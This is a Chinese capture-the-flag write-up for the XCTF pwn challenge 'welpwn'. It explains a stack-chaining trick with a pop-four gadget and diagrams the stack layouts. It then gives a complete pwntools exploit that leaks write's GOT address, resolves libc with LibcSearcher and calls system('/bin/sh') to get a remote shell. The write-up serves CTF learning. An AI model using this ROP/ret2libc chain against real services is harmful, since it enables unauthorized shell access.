[攻防世界 pwn]——welpwn
[攻防世界 pwn]——welpwn
- 题目地址: https://adworld.xctf.org.cn/
- 题目:
我只能说这道题太巧了, 实在太巧了。我想出来一个名词叫做栈连接
还是先checksec一下
然后在IDA中看看, buf无法溢出, s因为有循环判断限定,只能溢出一个地址。
巧就巧在下面
0x20 = 32
这样我们就可以输入0x20个字符,也就是四个八个字节,四个pop掉就可以。
aaaaaaaa <--- s
aaaaaaaa
aaaaaaaa <--- echo ebp
pop_4_addr <--- echo ret
aaaaaaaa <--- buf
aaaaaaaa
aaaaaaaa
pop_4_addr
pop_rdi_addr
write_got
main_addr
执行后变为, buf的前四个 八个字节都被pop掉了
pop_rdi_addr <--- ret
write_got
main_addr
同理,将栈这样构造。就可以获得shell了
aaaaaaaa <--- s
aaaaaaaa
aaaaaaaa <--- echo ebp
pop_4_addr <--- echo ret
aaaaaaaa <--- buf
aaaaaaaa
aaaaaaaa
pop_4_addr
pop_rdi_addr
bin_sh_addr
system_addr
exploit
from pwn import *
from LibcSearcher import *
#p = process("./pwn")
p = remote("111.200.241.244",49039)
elf = ELF('./pwn')
#gdb.attach(p, "b *0x0400782")
write_got = elf.got['write']
puts_plt = elf.plt['puts']
pop_4 = 0x40089C
pop_rdi = 0x4008A3
p.recvuntil('Welcome to RCTF\n') main_addr = 0x4007CD
payload = 'a'*0x18 + p64(pop_4) + p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(main_addr)
p.send(payload)
p.recvuntil('\x40')
write_addr = u64(p.recv(6).ljust(8,'\x00'))
print hex(write_addr)
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh') p.recvuntil('\n')
payload = 'a'*0x18 + p64(pop_4) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) p.send(payload)
p.interactive()
[攻防世界 pwn]——welpwn相关推荐
- 攻防世界 Pwn welpwn
攻防世界 Pwn welpwn 1.题目下载地址 2.checksec 3.IDA分析 4.exp 1.题目下载地址 点击下载 2.checksec 没有canary 没有PIE 3.IDA分析 ma ...
- 攻防世界 Pwn 进阶 第一页
00 要把它跟之前新手区的放在一起总结,先稍稍回顾一下新手区. 攻防世界 Pwn 新手 1.栈溢出,从简单到难,开始有后门函数,到需要自己写函数参数,到最后的ret2libc. 常见漏洞点有read( ...
- 攻防世界(Pwn) forgot---栈溢出;(方法二)
攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点 返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...
- 攻防世界(Pwn) forgot---栈溢出;(方法一)
攻防世界(Pwn) forgot-栈溢出:(方法二) 介绍 这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一(精确打击) 文件运行流程是: 1.先输入名字 2. 输入一串字符 ...
- [攻防世界 pwn]——pwn1(内涵peak小知识)
[攻防世界 pwn]--pwn1 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识 这道题目的关键就是泄露canary,通常我们泄露canary有两种方法,遇 ...
- [攻防世界 pwn]——实时数据监测
[攻防世界 pwn]--实时数据监测 题目地址:https://adworld.xctf.org.cn/ 题目: checksec就不说了,没什么 ida中 只要将key里面的值修改为35795746 ...
- [攻防世界 pwn]——monkey
[攻防世界 pwn]--monkey 题目地址:https://adworld.xctf.org.cn/ 题目: 额,怎么说呢这道题.checksec没什么大不了的 但是再IDA中就懵了,好大呀.好多 ...
- [攻防世界 pwn]——反应釜开关控制
[攻防世界 pwn]--反应釜开关控制 题目地址:https://adworld.xctf.org.cn/ 题目: 无言以对,直接给你shell函数,返回覆盖到shell函数就OK了 exploit ...
- [攻防世界 pwn]——pwn-100
[攻防世界 pwn]--pwn-100 题目地址: https://adworld.xctf.org.cn/ 题目: checksec一下 IDA中 sub_40063D函数的作用就是读入200个字符 ...
最新文章
- ubuntu系统下用kazam软件录制的视频不能在windows系统下播放的解决方案
- ASP.NET使用母版页后动态加载JS/CSS
- CTF--misc 零宽度字符隐写
- systemctl与mysql多实例_mysql mariadb 多版本多实例 开机启动
- HDOJ1861 游船出租
- 存储过程不可以封装_【小知识】功率半导体器件之10功率器件的封装可靠性
- Android Root原理初探
- 力扣第202题. 快乐数(JavaScript)
- matplotlib axis
- [Beego模型] 五、构造查询
- Hybrid 接口应用
- OPPO A57刷机 A57刷机包下载 纯净包 A57T忘记密码 帐号解锁 刷机教程 精简Rom刷机包
- 计算机模拟做报童模型,用基于计算机随机模拟的下降法求解报童问题
- 微信邮箱怎么弄怎么写?手机可以移动办公吗?
- 几种编程语言的优缺点
- Qt是什么?有哪些优势用于图形界面开发
- 区块链为什么叫区块链
- RSA算法进行加密和解密
- laravel 常用文档
- STM32晶振 选型
热门文章
- 支持任意排序的分页存储过程
- SQL注入_1-6_user-agent注入
- [系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)及防御详解
- Python读取大文件的坑“与内存占用检测
- 信息学奥赛一本通(C++)在线评测系统——基础(一)C++语言—— 1041:奇偶数判断
- PaddlePaddle训练营——公开课——AI核心技术掌握——第1章迈入现代人工智能的大门——多层感知机网络模型
- Go语言集合(Map)
- 四元数姿态解算及多传感器融合详细解析
- 【Linux系统编程】线程私有数据
- 【Tools】StarUML2.8工具安装和破解